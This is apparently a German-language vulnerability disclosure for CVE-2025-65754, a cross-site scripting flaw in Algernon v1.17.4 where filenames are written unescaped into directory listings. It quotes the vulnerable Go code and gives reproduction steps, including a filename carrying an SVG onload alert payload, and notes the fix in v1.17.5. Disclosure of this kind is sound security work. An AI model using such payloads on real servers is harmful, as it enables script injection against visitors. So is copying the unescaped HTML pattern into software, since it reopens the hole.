bnyt7/cve-2025-65754Algernon v1.17.4 ist von einer Cross-Site Scripting (XSS)-Sicherheitslücke betroffen, die es Angreifern ermöglicht, beliebigen Code auszuführen, indem eine manipulierte Nutzlast in einen Dateinamen eingefügt wird.
Algernon v1.17.4 ist von einer Cross-Site-Scripting (XSS)-Sicherheitslücke betroffen, die es Angreifern ermöglicht, über eine manipulierte Nutzlast in einem Dateinamen beliebigen Code auszuführen.
Einige Variablen wurden nicht bereinigt. Zum Beispiel :
engine/dirhandler.go Zeilen 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go Zeilen 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
Dateinamen aus dem Dateisystem werden ohne HTML-Escaping direkt in HTML eingefügt, und zwar in Verzeichnislisten.
$ algernon -v
Algernon 1.17.4
Erstellen Sie in einem Verzeichnis Dateien mit XSS-Nutzlasten als Namen.
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
Führen Sie die Anwendung im selben Repository aus.
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
Besuchen Sie die folgende URL, ein Alert wird erscheinen.
Dieses Problem wurde nun in v1.17.5 behoben.
Entdecker : Benoit H. (Bnyt7)